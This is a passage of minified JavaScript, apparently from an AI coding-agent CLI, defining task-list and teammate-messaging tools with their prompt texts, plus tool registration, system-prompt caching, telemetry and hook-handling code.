0}}},mapToolResultToToolResultBlockParam(A,K){let{success:q,taskId:Y,updatedFields:z,error:w,statusChange:H}=A;if(!q)return{tool_use_id:K,type:"tool_result",content:w||`Task #${Y} not found`,is_error:!0};let J=`Updated task #${Y} ${z.join(", ")}`;if(H?.to==="completed"&&q_()&&b8())J+=` Task completed. Call TaskList now to find your next available task or see if your work unblocked others.`;return{tool_use_id:K,type:"tool_result",content:J}}}});function fwK(){let A=b8()?`- Before assigning tasks to teammates, to see what's available `:"",K=b8()?"- **id**: Task identifier (use with TaskGet, TaskUpdate, or assignTask)":"- **id**: Task identifier (use with TaskGet, TaskUpdate)",q=b8()?` ## Teammate Workflow When working as a teammate: 1. After completing your current task, call TaskList to find available work 2. Look for tasks with status 'pending', no owner, and empty blockedBy 3. **Prefer tasks in ID order** (lowest ID first) when multiple tasks are available, as earlier tasks often set up context for later ones 4. Use claimTask to claim an available task, or wait for leader assignment 5. If blocked, focus on unblocking tasks or notify the team lead `:"";return`Use this tool to list all tasks in the task list. ## When to Use This Tool - To see what tasks are available to work on (status: 'pending', no owner, not blocked) - To check overall progress on the project - To find tasks that are blocked and need dependencies resolved ${A}- After completing a task, to check for newly unblocked work or claim the next available task - **Prefer working on tasks in ID order** (lowest ID first) when multiple tasks are available, as earlier tasks often set up context for later ones ## Output Returns a summary of each task: ${K} - **subject**: Brief description of the task - **status**: 'pending', 'in_progress', or 'completed' - **owner**: Agent ID if assigned, empty if available - **blockedBy**: List of open task IDs that must be resolved first (tasks with blockedBy cannot be claimed until dependencies resolve) Use TaskGet with a specific task ID to view full details including description and comments. ${q}`}var VwK="List all tasks in the task list";var NwK=k(()=>{t9()});function TwK(){return null}function vwK(){return null}function EwK(){return null}function kwK(){return null}function CwK(A){return null}var Wk2,Dk2,LwK;var RwK=k(()=>{z7();NwK();VJ();Wk2=U.strictObject({}),Dk2=U.object({tasks:U.array(U.object({id:U.string(),subject:U.string(),status:z4A,owner:U.string().optional(),blockedBy:U.array(U.string())}))}),LwK={name:nZ1,maxResultSizeChars:1e5,async description(){return VwK},async prompt(){return fwK()},inputSchema:Wk2,outputSchema:Dk2,userFacingName(){return"TaskList"},isEnabled(){return ew()},isConcurrencySafe(){return!0},isReadOnly(){return!0},async checkPermissions(A){return{behavior:"allow",updatedInput:A}},renderToolUseMessage:TwK,renderToolUseProgressMessage:vwK,renderToolUseRejectedMessage:EwK,renderToolUseErrorMessage:kwK,renderToolResultMessage:CwK,async call(){let A=JM(),K=OG(A),q=new Set(K.filter((z)=>z.status==="completed").map((z)=>z.id));return{data:{tasks:K.map((z)=>({id:z.id,subject:z.subject,status:z.status,owner:z.owner,blockedBy:z.blockedBy.filter((w)=>!q.has(w))}))}}},mapToolResultToToolResultBlockParam(A,K){let{tasks:q}=A;if(q.length===0)return{tool_use_id:K,type:"tool_result",content:"No tasks found"};let Y=q.map((z)=>{let w=z.owner?` (${z.owner})`:"",H=z.blockedBy.length>0?` [blocked by ${z.blockedBy.map((J)=>`#${J}`).join(", ")}]`:"";return`#${z.id} [${z.status}] ${z.subject}${w}${H}`});return{tool_use_id:K,type:"tool_result",content:Y.join(` `)}}}});function IwK(){return` # SendMessageTool Send messages to teammates and handle protocol requests/responses in a swarm. ## Message Types ### type: "message" - Send a Direct Message Send a message to a **single specific teammate**. You MUST specify the recipient. **IMPORTANT for teammates**: Your plain text output is NOT visible to the team lead or other teammates. To communicate with anyone on your team, you **MUST** use this tool. Just typing a response or acknowledgment in text is not enough. \`\`\` { "type": "message", "recipient": "researcher", "content": "Your message here" } \`\`\` - **recipient**: The name of the teammate to message (required) - **content**: The message text (required) ### type: "broadcast" - Send Message to ALL Teammates (USE SPARINGLY) Send the **same message to everyone** on the team at once. **WARNING: Broadcasting is expensive.** Each broadcast sends a separate message to every teammate, which means: - N teammates = N separate message deliveries - Each delivery consumes API resources - Costs scale linearly with team size \`\`\` { "type": "broadcast", "content": "Message to send to all teammates" } \`\`\` - **content**: The message content to broadcast (required) **CRITICAL: Use broadcast only when absolutely necessary.** Valid use cases: - Critical issues requiring immediate team-wide attention (e.g., "stop all work, blocking bug found") - Major announcements that genuinely affect every teammate equally **Default to "message" instead of "broadcast".** Use "message" for: - Responding to a single teammate - Normal back-and-forth communication - Following up on a task with one person - Sharing findings relevant to only some teammates - Any message that doesn't require everyone's attention ### type: "request" - Send a Protocol Request #### subtype: "shutdown" - Request a Teammate to Shut Down Use this to ask a teammate to gracefully shut down: \`\`\` { "type": "request", "subtype": "shutdown", "recipient": "researcher", "content": "Task complete, wrapping up the session" } \`\`\` The teammate will receive a shutdown request and can either approve (exit) or reject (continue working). #### subtype: "plan_approval" - Approve or Reject a Teammate's Plan Not used as a request. Plan approval/rejection is done via "response" type. ### type: "response" - Respond to a Protocol Request #### Approve Shutdown When you receive a shutdown request as a JSON message with \`type: "shutdown_request"\`, you **MUST** respond to approve or reject it. Do NOT just acknowledge the request in text - you must actually call this tool. \`\`\` { "type": "response", "subtype": "shutdown", "request_id": "abc-123", "approve": true } \`\`\` **IMPORTANT**: Extract the \`requestId\` from the JSON message and pass it as \`request_id\` to the tool. Simply saying "I'll shut down" is not enough - you must call the tool. This will send confirmation to the leader and terminate your process. #### Reject Shutdown \`\`\` { "type": "response", "subtype": "shutdown", "request_id": "abc-123", "approve": false, "content": "Still working on task #3, need 5 more minutes" } \`\`\` The leader will receive your rejection with the reason. #### Approve Plan When a teammate with \`plan_mode_required\` calls ExitPlanMode, they send you a plan approval request as a JSON message with \`type: "plan_approval_request"\`. Use this to approve their plan: \`\`\` { "type": "response", "subtype": "plan_approval", "request_id": "abc-123", "recipient": "researcher", "approve": true } \`\`\` After approval, the teammate will automatically exit plan mode and can proceed with implementation. #### Reject Plan \`\`\` { "type": "response", "subtype": "plan_approval", "request_id": "abc-123", "recipient": "researcher", "approve": false, "content": "Please add error handling for the API calls" } \`\`\` The teammate will receive the rejection with your feedback and can revise their plan. ## Important Notes - Messages from teammates are automatically delivered to you. You do NOT need to manually check your inbox. - When reporting on teammate messages, you do NOT need to quote the original message - it's already rendered to the user. - **IMPORTANT**: Always refer to teammates by their NAME (e.g., "team-lead", "researcher", "tester"), never by UUID. - Do NOT send structured JSON status messages. Use TaskUpdate to mark tasks completed and the system will automatically send idle notifications when you stop. `.trim()}var ywK="Send messages to teammates and handle protocol requests (shutdown, plan approval)";function SwK(A){switch(A.type){case"message":{let K=A.content?`: "${a9(String(A.content),50)}"`:"";return`send message to @${A.recipient}${K}`}case"broadcast":return`broadcast message to all teammates${A.content?`: "${a9(String(A.content),50)}"`:""}`;case"request":{if(A.subtype==="shutdown")return`request shutdown: ${A.recipient}`;return`send ${A.subtype} request to @${A.recipient}`}case"response":{if(A.subtype==="shutdown")return A.approve?"approve shutdown":`reject shutdown: ${A.content||"no reason"}`;if(A.subtype==="plan_approval")return A.approve?`approve plan from: ${A.recipient}`:`reject plan from: ${A.recipient}`;return`respond to ${A.subtype} request`}default:return"agent message operation"}}function hwK(){return null}function bwK(){return Ax6.default.createElement(u9,null)}function xwK(A,{verbose:K}){return Ax6.default.createElement(C3,{result:A,verbose:K})}function uwK(){return null}var Ax6;var BwK=k(()=>{__();J0();Ax6=o($A(),1)});var FwK={};_q(FwK,{inputSchema:()=>mwK,SendMessageTool:()=>vk2});function gwK(A){if(A.includes("@")){let K=k3A(A);if(K)return K.agentName}return A}async function jk2(A,K){let q=await K.getAppState(),Y=T3(q.teamContext),z=b9()||(m2()?"teammate":P2);if(!A.recipient)throw Error("recipient is required for message type to specify who to send to");if(!A.content)throw Error("content is required for message type");let w=gwK(A.recipient),H=PJ();return Q3(w,{from:z,text:A.content,timestamp:new Date().toISOString(),color:H},Y),{data:{success:!0,message:`Message sent to ${w}'s inbox`}}}async function Mk2(A,K){let q=await K.getAppState(),Y=T3(q.teamContext);if(!Y)throw Error("Not in a team context. Create a team with Teammate spawnTeam first, or set CLAUDE_CODE_TEAM_NAME.");if(!A.content)throw Error("content is required for broadcast type");let z=a3A(Y);if(!z)throw Error(`Team "${Y}" does not exist`);let w=b9()||(m2()?"teammate":P2);if(!w)throw Error("Cannot broadcast: sender name is required. Set CLAUDE_CODE_AGENT_NAME.");let H=PJ(),J=[];for(let O of z.members){if(O.name.toLowerCase()===w.toLowerCase())continue;J.push(O.name)}if(J.length===0)return{data:{success:!0,message:"No teammates to broadcast to (you are the only team member)",recipients:[]}};for(let O of J)Q3(O,{from:w,text:A.content,timestamp:new Date().toISOString(),color:H},Y);return{data:{success:!0,message:`Message broadcast to ${J.length} teammate(s): ${J.join(", ")}`,recipients:J}}}async function Pk2(A,K){let q=await K.getAppState(),Y=T3(q.teamContext);if(!A.recipient)throw Error("recipient is required for shutdown request to specify which teammate to shut down");let z=gwK(A.recipient),w=b9()||P2,H=bt("shutdown",z),J=KMA({requestId:H,from:w,reason:A.content});return Q3(z,{from:w,text:UA(J),timestamp:new Date().toISOString(),color:PJ()},Y),{data:{success:!0,message:`Shutdown request sent to ${z}. Request ID: ${H}`,request_id:H,target:z}}}async function Vk2(A,K){let q=T3(),Y=q_(),z=b9()||"teammate";if(!A.request_id)throw Error("request_id is required for shutdown response. Use the requestId from the shutdown_request message.");let w=A.request_id;h(`[SendMessageTool] handleShutdownApproval: teamName=${q}, agentId=${Y}, agentName=${z}`);let H,J;if(q){let X=a3A(q);if(X&&Y){let $=X.members.find((_)=>_.agentId===Y);if($)H=$.tmuxPaneId,J=$.backendType}}let O=Qy6({requestId:w,from:z,paneId:H,backendType:J});if(Q3(P2,{from:z,text:UA(O),timestamp:new Date().toISOString(),color:PJ()},q),J==="in-process"){if(h(`[SendMessageTool] In-process teammate ${z} approving shutdown - signaling abort`),Y){let X=await K.getAppState(),$=U3A(Y,X.tasks);if($?.abortController)$.abortController.abort(),h(`[SendMessageTool] Aborted controller for in-process teammate ${z}`);else h(`[SendMessageTool] Warning: Could not find task/abortController for ${z}`)}}else{if(Y){let X=await K.getAppState(),$=U3A(Y,X.tasks);if($?.abortController)return h(`[SendMessageTool] Fallback: Found in-process task for ${z} via AppState, aborting`),$.abortController.abort(),{data:{success:!0,message:`Shutdown approved (fallback path). Agent ${z} is now exiting.`,request_id:w}}}setImmediate(async()=>{await Jq(0,"other")})}return{data:{success:!0,message:`Shutdown approved. Sent confirmation to team-lead. Agent ${z} is now exiting.`,request_id:w}}}function fk2(A){let K=T3(),q=b9()||"teammate";if(!A.request_id)throw Error("request_id is required for shutdown response. Use the requestId from the shutdown_request message.");if(!A.content)throw Error("content (reason) is required when rejecting a shutdown request to explain why shutdown is declined");let Y=A.request_id,z=Uy6({requestId:Y,from:q,reason:A.content});return Q3(P2,{from:q,text:UA(z),timestamp:new Date().toISOString(),color:PJ()},K),{data:{success:!0,message:`Shutdown rejected. Reason: "${A.content}". Continuing to work.`,request_id:Y}}}async function Nk2(A,K){let q=await K.getAppState(),Y=q.teamContext?.teamName;if(!sX(q.teamContext))throw Error("Only the team lead can approve plans. Teammates cannot approve their own or other plans.");if(!A.request_id)throw Error("request_id is required for plan approval response. Use the requestId from the plan_approval_request message.");if(!A.recipient)throw Error('recipient is required for plan approval to specify whose plan to approve. Use the "from" field from the plan_approval_request message.');let z=q.toolPermissionContext.mode,w=z==="plan"||z==="delegate"?"default":z,H={type:"plan_approval_response",requestId:A.request_id,approved:!0,timestamp:new Date().toISOString(),permissionMode:w};return Q3(A.recipient,{from:P2,text:UA(H),timestamp:new Date().toISOString()},Y),{data:{success:!0,message:`Plan approved for ${A.recipient}. They will receive the approval and can proceed with implementation.`,request_id:A.request_id}}}async function Tk2(A,K){let q=await K.getAppState(),Y=q.teamContext?.teamName;if(!sX(q.teamContext))throw Error("Only the team lead can reject plans. Teammates cannot reject their own or other plans.");if(!A.request_id)throw Error("request_id is required for plan rejection response. Use the requestId from the plan_approval_request message.");if(!A.recipient)throw Error('recipient is required for plan rejection to specify whose plan to reject. Use the "from" field from the plan_approval_request message.');let z=A.content||"Plan needs revision",w={type:"plan_approval_response",requestId:A.request_id,approved:!1,feedback:z,timestamp:new Date().toISOString()};return Q3(A.recipient,{from:P2,text:UA(w),timestamp:new Date().toISOString()},Y),{data:{success:!0,message:`Plan rejected for ${A.recipient} with feedback: "${z}"`,request_id:A.request_id}}}var mwK,vk2;var QwK=k(()=>{z7();BwK();_H();W2();sS6();Z1();t9();Sw();zm();b1();mwK=U.strictObject({type:U.enum(["message","broadcast","request","response"]).describe('Message type: "message" for DMs, "broadcast" to all teammates, "request" for protocol requests (shutdown, plan approval), "response" for protocol responses'),recipient:U.string().optional().describe("Agent name of the recipient (required for message and request types)"),content:U.string().optional().describe("Message text, reason, or feedback"),subtype:U.enum(["shutdown","plan_approval"]).optional().describe("Protocol subtype (required for request and response types)"),request_id:U.string().optional().describe("Request ID to respond to (required for response type)"),approve:U.boolean().optional().describe("Whether to approve the request (required for response type)")});vk2={name:XgA,maxResultSizeChars:1e5,userFacingName(){if(b8())return"";return"SendMessage"},inputSchema:mwK,isEnabled(){return b8()},isConcurrencySafe(A){return!1},isReadOnly(A){return A.type==="message"||A.type==="broadcast"},async checkPermissions(A,K){return{behavior:"allow",updatedInput:A}},async validateInput(A,K){if(A.type==="message"){if(!A.recipient||A.recipient.trim().length===0)return{result:!1,message:"recipient is required for message type",errorCode:1};if(!A.content||A.content.trim().length===0)return{result:!1,message:"content is required for message type",errorCode:2}}if(A.type==="broadcast"){if(!A.content||A.content.trim().length===0)return{result:!1,message:"content is required for broadcast type",errorCode:3}}if(A.type==="request"){if(!A.subtype)return{result:!1,message:"subtype is required for request type",errorCode:4};if(!A.recipient||A.recipient.trim().length===0)return{result:!1,message:"recipient is required for request type",errorCode:5}}if(A.type==="response"){if(!A.subtype)return{result:!1,message:"subtype is required for response type",errorCode:6};if(!A.request_id||A.request_id.trim().length===0)return{result:!1,message:"request_id is required for response type",errorCode:7};if(A.approve===void 0)return{result:!1,message:"approve is required for response type",errorCode:8};if(A.subtype==="shutdown"&&!A.approve&&(!A.content||A.content.trim().length===0))return{result:!1,message:"content (reason) is required when rejecting a shutdown request",errorCode:9};if(A.subtype==="plan_approval"&&(!A.recipient||A.recipient.trim().length===0))return{result:!1,message:"recipient is required for plan approval/rejection responses",errorCode:10}}return{result:!0}},async description(){return ywK},async prompt(){return IwK()},mapToolResultToToolResultBlockParam(A,K){return{tool_use_id:K,type:"tool_result",content:[{type:"text",text:UA(A,null,2)}]}},async call(A,K){if(A.type==="message")return jk2(A,K);if(A.type==="broadcast")return Mk2(A,K);if(A.type==="request"){if(A.subtype==="shutdown")return Pk2(A,K);throw Error(`Unsupported request subtype: ${A.subtype}. Use "shutdown" for shutdown requests.`)}if(A.type==="response"){if(A.subtype==="shutdown"){if(A.approve)return Vk2(A,K);return fk2(A)}if(A.subtype==="plan_approval"){if(A.approve)return Nk2(A,K);return Tk2(A,K)}throw Error(`Unsupported response subtype: ${A.subtype}. Use "shutdown" or "plan_approval".`)}throw Error(`Unknown message type: ${A.type}`)},renderToolUseMessage:SwK,renderToolUseProgressMessage:hwK,renderToolUseRejectedMessage:bwK,renderToolUseErrorMessage:xwK,renderToolResultMessage:uwK}});function lwK(A){let K=A.toLowerCase();if(!Ck2.includes(K))return null;return K}function Kx6(){let A=Ae(),K=A.map((q)=>q.isEnabled());return A.filter((q,Y)=>K[Y]).map((q)=>q.name)}function Ae(){return[ZDA,Vf1,o7,ot,hd,SW,d9,qj,Yj,bd,aG,o0,ff1,Mf1,Nf1,nt,QUA,...ew()?[ezK,OwK,MwK,LwK]:[],...pwK?[pwK]:[],...dwK?[dwK]:[],nb6,...b8()?[Ek2(),kk2()]:[],...UwK?[UwK]:[],Mp,Pp,...iU()?[ZO1]:[]]}function Lf1(A,K){let q=Rp(K);return A.filter((Y)=>{return!q.some((z)=>z.ruleValue.toolName===Y.name&&z.ruleValue.ruleContent===void 0)})}function kV1(A,K){let q=I$(A);if(sH())return q;let Y=Lf1(K,A),z=Jb([...q,...Y],"name");if(A.mode==="coordinator")return z.filter((w)=>oZ1.has(w.name));if(A.mode==="delegate")return z.filter((w)=>rZ1.has(w.name));return z}function iwK(A,K){return[...I$(A),...K]}var Ek2=()=>(Nv(),Rg(JKK)).TeammateTool,kk2=()=>(QwK(),Rg(FwK)).SendMessageTool,UwK=null,pwK=null,dwK=null,Ck2,I$=(A)=>{if(P1(void 0))return[o7];let K=new Set([Mp.name,Pp.name,bG]),q=Ae().filter((w)=>!K.has(w.name)),Y=Lf1(q,A);if(A.mode==="delegate")Y=Y.filter((w)=>rZ1.has(w.name));if(A.mode==="coordinator")Y=Y.filter((w)=>oZ1.has(w.name));if(P1(process.env.CLAUDE_REPL_MODE)){if(Y.some((H)=>H.name===T_1))Y=Y.filter((H)=>!hj7.has(H.name))}let z=Y.map((w)=>w.isEnabled());return Y.filter((w,H)=>z[H])};var f_=k(()=>{dZ1();SV1();xG();M5A();Ev();V5A();GUA();WUA();rMA();Bb6();Fb6();Ub6();XXA();mUA();YzK();IMA();Tf1();SzK();h$1();b$1();o_6();rb6();czK();AwK();XwK();PwK();RwK();owA();IG();vC();VJ();kp();aZ1();aZ1();S2();l6();t9();AP6();Ck2=["default"]});import{createHash as Lk2}from"crypto";function Ik2(A,K){let q=yk2[A];if(!q||q.length===0)return K;let Y={...K},z=Y.properties;if(z&&typeof z==="object"){let w={...z};for(let H of q)delete w[H];Y.properties=w}return Y}async function Rf1(A,K){let q=aY("tengu_tool_pear"),Y="inputJSONSchema"in A&&A.inputJSONSchema?A.inputJSONSchema:ar(A.inputSchema);if(!b8())Y=Ik2(A.name,Y);let z={name:A.name,description:await A.prompt({getToolPermissionContext:K.getToolPermissionContext,tools:K.tools,agents:K.agents}),input_schema:Y};if(q&&A.strict===!0&&K.model&&y36(K.model))z.strict=!0;if(K.betas?.includes(EnA)&&A.input_examples)z.input_examples=A.input_examples;if(K.deferLoading)z.defer_loading=!0;if(K.cacheControl)z.cache_control=K.cacheControl;return z}function nwK(A){let[K]=qx6(A),q=K?.text;n("tengu_sysprompt_block",{snippet:q?.slice(0,20),length:q?.length??0,hash:q?Lk2("sha256").update(q).digest("hex"):""})}function qx6(A,K){let q=c7()==="firstParty"&&(P1(process.env.CLAUDE_CODE_FORCE_GLOBAL_CACHE)||G4("tengu_system_prompt_global_cache",!1));if(q&&K?.skipGlobalCacheForSystemPrompt){n("tengu_sysprompt_using_tool_based_cache",{promptBlockCount:A.length});let O,X,$=[];for(let Z of A){if(!Z)continue;if(Z===UUA)continue;if(Z.startsWith("x-anthropic-billing-header"))O=Z;else if(gq1.has(Z))X=Z;else $.push(Z)}let _=[];if(O)_.push({text:O,cacheScope:null});if(X)_.push({text:X,cacheScope:null});let G=$.join(` `);if(G)_.push({text:G,cacheScope:null});return _}if(q){let O=A.findIndex((X)=>X===UUA);if(O!==-1){let X,$,_=[],G=[];for(let j=0;j<A.length;j++){let M=A[j];if(!M||M===UUA)continue;if(M.startsWith("x-anthropic-billing-header"))X=M;else if(gq1.has(M))$=M;else if(j<O)_.push(M);else G.push(M)}let Z=[];if(X)Z.push({text:X,cacheScope:null});if($)Z.push({text:$,cacheScope:null});let W=_.join(` `);if(W)Z.push({text:W,cacheScope:"global"});let D=G.join(` `);if(D)Z.push({text:D,cacheScope:null});return n("tengu_sysprompt_boundary_found",{blockCount:Z.length,staticBlockLength:W.length,dynamicBlockLength:D.length}),Z}else n("tengu_sysprompt_missing_boundary_marker",{promptBlockCount:A.length})}let Y,z,w=[];for(let O of A){if(!O)continue;if(O.startsWith("x-anthropic-billing-header"))Y=O;else if(gq1.has(O))z=O;else w.push(O)}let H=[];if(Y)H.push({text:Y,cacheScope:null});if(z)H.push({text:z,cacheScope:"org"});let J=w.join(` `);if(J)H.push({text:J,cacheScope:"org"});return H}function rwK(A,K){return[...A,Object.entries(K).map(([q,Y])=>`${q}: ${Y}`).join(` `)].filter(Boolean)}function APA(A,K){if(Object.entries(K).length===0)return A;return[t1({content:`<system-reminder> As you answer the user's questions, you can use the following context: ${Object.entries(K).map(([q,Y])=>`# ${q} ${Y}`).join(` `)} IMPORTANT: this context may or may not be relevant to your tasks. You should not respond to this context unless it is highly relevant to your task. </system-reminder> `,isMeta:!0}),...A]}async function owK(A,K){if(K$())return;let[{tools:q},Y,z,w]=await Promise.all([s$1(A),I$(K),AX(),e0()]),H=w.gitStatus?.length??0,J=z.claudeMd?.length??0,O=H+J,X=e7();setTimeout(()=>X.abort(),1000);let $=x1(),_=hMA(K),G=SMA(_,$),Z=await _aA($,X.signal,G),W=0,D=0,j=0,M=0,P=0,f=Y.filter((T)=>!T.isMcp);W=q.length,M=f.length;let N=new Set;for(let T of q){let C=T.name.split("__");if(C.length>=3&&C[1])N.add(C[1])}D=N.size;try{let T=iwK(K,q);if(q.length>0){let C=J3(),{mcpToolTokens:R}=await pUA(T,async()=>K,null,C);j=R}if(f.length>0)P=await twK(T,async()=>K,null)}catch{}n("tengu_context_size",{git_status_size:H,claude_md_size:J,total_context_size:O,project_file_count_rounded:Z,mcp_tools_count:W,mcp_servers_count:D,mcp_tools_tokens:j,non_mcp_tools_count:M,non_mcp_tools_tokens:P})}function awK(A,K,q){switch(A.name){case Yf:{let Y=fG(q);if(Y)return{...K,plan:Y};return K}case o7.name:{let Y=o7.inputSchema.parse(K),{command:z,timeout:w,description:H}=Y,J=z.replace(`cd ${x1()} && `,"");if(J=J.replace(/\\\\;/g,"\\;"),/^echo\s+["']?[^|&;><]*["']?$/i.test(J.trim()))n("tengu_bash_tool_simple_echo",{});let O="run_in_background"in Y?Y.run_in_background:void 0;return{command:J,description:H,...w?{timeout:w}:{},...H?{description:H}:{},...O?{run_in_background:O}:{},..."dangerouslyDisableSandbox"in Y&&Y.dangerouslyDisableSandbox?{dangerouslyDisableSandbox:Y.dangerouslyDisableSandbox}:{}}}case qj.name:{let Y=qj.inputSchema.parse(K),{file_path:z,edits:w}=_j7({file_path:Y.file_path,edits:[{old_string:Y.old_string,new_string:Y.new_string,replace_all:Y.replace_all}]});return{replace_all:w[0].replace_all,file_path:z,old_string:w[0].old_string,new_string:w[0].new_string}}case Yj.name:{let Y=Yj.inputSchema.parse(K);return{file_path:Y.file_path,content:iM6(Y.content)}}case YDA:{let Y=K,z=Y.task_id??Y.agentId??Y.bash_id,w=Y.timeout??(typeof Y.wait_up_to==="number"?Y.wait_up_to*1000:void 0);return{task_id:z??"",block:Y.block??!0,timeout:w??30000}}default:return K}}function swK(A,K){switch(A.name){case Yf:{if(K&&typeof K==="object"&&"plan"in K){let{plan:q,...Y}=K;return Y}return K}default:return K}}var Rk2,yk2;var Ke=k(()=>{l6();ESA();B7();Uq1();l1();$8();wb();y4();Xz();xG();M5A();pqA();V5A();Jz();t9();NG();b1();Z1();dUA();K7();IH();ok();z1A();Vf();YC();f_();BQ();of();B7();Rk2=o(hy7(),1),yk2={[Yf]:["launchSwarm","teammateCount"],[Nq]:["name","team_name","mode"]}});function If1(){if(!Yx6)Yx6=CA("perf_hooks").performance;return Yx6}function hk2(){let A=If1(),K=A.getEntriesByType("mark");for(let q of K)if(q.name.startsWith(lUA))A.clearMarks(q.name)}function wx6(){if(!b7())return;if(!zx6)return;if(cUA++,hk2(),If1().mark(`${lUA}turn_start`),yf1)h(`[headlessProfiler] Started turn ${cUA}`)}function w9A(A){if(!b7())return;if(!zx6)return;let K=If1();if(K.mark(`${lUA}${A}`),yf1)h(`[headlessProfiler] Checkpoint: ${A} at ${K.now().toFixed(1)}ms`)}function Hx6(){if(!b7())return;if(!zx6)return;let q=If1().getEntriesByType("mark").filter(($)=>$.name.startsWith(lUA));if(q.length===0)return;let Y=new Map;for(let $ of q){let _=$.name.slice(lUA.length);Y.set(_,$.startTime)}let z=Y.get("turn_start");if(z===void 0)return;let w={turn_number:cUA},H=Y.get("system_message_yielded");if(H!==void 0&&cUA===0)w.time_to_system_message_ms=Math.round(H);let J=Y.get("query_started");if(J!==void 0)w.time_to_query_start_ms=Math.round(J-z);let O=Y.get("first_chunk");if(O!==void 0)w.time_to_first_response_ms=Math.round(O-z);let X=Y.get("api_request_sent");if(J!==void 0&&X!==void 0)w.query_overhead_ms=Math.round(X-J);if(w.checkpoint_count=q.length,process.env.CLAUDE_CODE_ENTRYPOINT)w.entrypoint=process.env.CLAUDE_CODE_ENTRYPOINT;if(ewK)n("tengu_headless_latency",w);if(yf1)h(`[headlessProfiler] Turn ${cUA} metrics: ${UA(w)}`)}var yf1,Sk2=0.05,ewK,zx6,Yx6=null,lUA="headless_",cUA=-1;var iUA=k(()=>{Z1();l1();q6();b1();yf1=process.env.CLAUDE_CODE_PROFILE_STARTUP==="1",ewK=Math.random()<Sk2,zx6=yf1||ewK});function Sf1(A){AHK.push(A)}async function KHK(A,K,q,Y,z,w){let H={messages:A,systemPrompt:K,userContext:q,systemContext:Y,toolUseContext:z,querySource:w};for(let J of AHK)try{await J(H)}catch(O){KA(O instanceof Error?O:Error(`Post-sampling hook failed: ${O}`))}}var AHK;var nUA=k(()=>{C1();AHK=[]});var rUA;var Jx6=k(()=>{rUA=class rUA{returned;queue=[];readResolve;readReject;isDone=!1;hasError;started=!1;constructor(A){this.returned=A}[Symbol.asyncIterator](){if(this.started)throw Error("Stream can only be iterated once");return this.started=!0,this}next(){if(this.queue.length>0)return Promise.resolve({done:!1,value:this.queue.shift()});if(this.isDone)return Promise.resolve({done:!0,value:void 0});if(this.hasError)return Promise.reject(this.hasError);return new Promise((A,K)=>{this.readResolve=A,this.readReject=K})}enqueue(A){if(this.readResolve){let K=this.readResolve;this.readResolve=void 0,this.readReject=void 0,K({done:!1,value:A})}else this.queue.push(A)}done(){if(this.isDone=!0,this.readResolve){let A=this.readResolve;this.readResolve=void 0,this.readReject=void 0,A({done:!0,value:void 0})}}error(A){if(this.hasError=A,this.readReject){let K=this.readReject;this.readResolve=void 0,this.readReject=void 0,K(A)}}return(){if(this.isDone=!0,this.returned)this.returned();return Promise.resolve({done:!0,value:void 0})}}});function KPA(A){if(A instanceof y2)return A.message||bf;if(!(A instanceof Error))return String(A);let q=Ox6(A).filter(Boolean).join(` `).trim()||"Command failed with no output";if(q.length<=1e4)return q;let Y=5000,z=q.slice(0,Y),w=q.slice(-Y);return`${z} ... [${q.length-1e4} characters truncated] ... ${w}`}function Ox6(A){if(A instanceof bR)return[`Exit code ${A.code}`,A.interrupted?bf:"",A.stderr,A.stdout];let K=[A.message];if("stderr"in A&&typeof A.stderr==="string")K.push(A.stderr);if("stdout"in A&&typeof A.stdout==="string")K.push(A.stdout);return K}function qHK(A){if(A.length===0)return"";return A.reduce((K,q,Y)=>{let z=String(q);if(typeof q==="number")return`${String(K)}[${z}]`;return Y===0?z:`${String(K)}.${z}`},"")}function YHK(A,K){let q=K.issues.filter((J)=>J.code==="invalid_type"&&J.message.includes("received undefined")).map((J)=>qHK(J.path)),Y=K.issues.filter((J)=>J.code==="unrecognized_keys").flatMap((J)=>J.keys),z=K.issues.filter((J)=>J.code==="invalid_type"&&!J.message.includes("received undefined")).map((J)=>{let O=J,X=J.message.match(/received (\w+)/),$=X?X[1]:"unknown";return{param:qHK(J.path),expected:O.expected,received:$}}),w=K.message,H=[];if(q.length>0){let J=q.map((O)=>`The required parameter \`${O}\` is missing`);H.push(...J)}if(Y.length>0){let J=Y.map((O)=>`An unexpected parameter \`${O}\` was provided`);H.push(...J)}if(z.length>0){let J=z.map(({param:O,expected:X,received:$})=>`The parameter \`${O}\` type is expected as \`${X}\` but provided as \`${$}\``);H.push(...J)}if(H.length>0)w=`${A} failed due to the following ${H.length>1?"issues":"issue"}: ${H.join(` `)}`;return w}var hf1=k(()=>{iw();$8()});function Xx6(A){switch(A){case"allow":return"allowed";case"deny":return"denied";default:return"asked for confirmation for"}}async function*zHK(A,K,q,Y,z,w,H,J,O){let X=Date.now();try{let _=(await A.getAppState()).toolPermissionContext.mode,G=w;for await(let Z of Gx6(K.name,q,z,G,A,_,A.abortController.signal))try{if(Z.message?.type==="attachment"&&Z.message.attachment.type==="hook_cancelled"){n("tengu_post_tool_hooks_cancelled",{toolName:jK(K.name),queryChainId:A.queryTracking?.chainId,queryDepth:A.queryTracking?.depth}),yield{message:PK({type:"hook_cancelled",hookName:`PostToolUse:${K.name}`,toolUseID:q,hookEvent:"PostToolUse"})};continue}if(Z.message)yield{message:Z.message};if(Z.blockingError)yield{message:PK({type:"hook_blocking_error",hookName:`PostToolUse:${K.name}`,toolUseID:q,hookEvent:"PostToolUse",blockingError:Z.blockingError})};if(Z.preventContinuation){yield{message:PK({type:"hook_stopped_continuation",message:Z.stopReason||"Execution stopped by PostToolUse hook",hookName:`PostToolUse:${K.name}`,toolUseID:q,hookEvent:"PostToolUse"})};return}if(Z.additionalContexts&&Z.additionalContexts.length>0)yield{message:PK({type:"hook_additional_context",content:Z.additionalContexts,hookName:`PostToolUse:${K.name}`,toolUseID:q,hookEvent:"PostToolUse"})};if(Z.updatedMCPToolOutput&&aT(K))G=Z.updatedMCPToolOutput,yield{updatedMCPToolOutput:G}}catch(W){let D=Date.now()-X;n("tengu_post_tool_hook_error",{messageID:Y,toolName:jK(K.name),isMcp:K.isMcp??!1,duration:D,queryChainId:A.queryTracking?.chainId,queryDepth:A.queryTracking?.depth,...J?{mcpServerType:J}:{},...H?{requestId:H}:{}}),yield{message:PK({type:"hook_error_during_execution",content:KPA(W),hookName:`PostToolUse:${K.name}`,toolUseID:q,hookEvent:"PostToolUse"})}}}catch($){KA($ instanceof Error?$:Error(String($)))}}async function*wHK(A,K,q,Y,z,w,H,J,O,X){let $=Date.now();try{let G=(await A.getAppState()).toolPermissionContext.mode;for await(let Z of 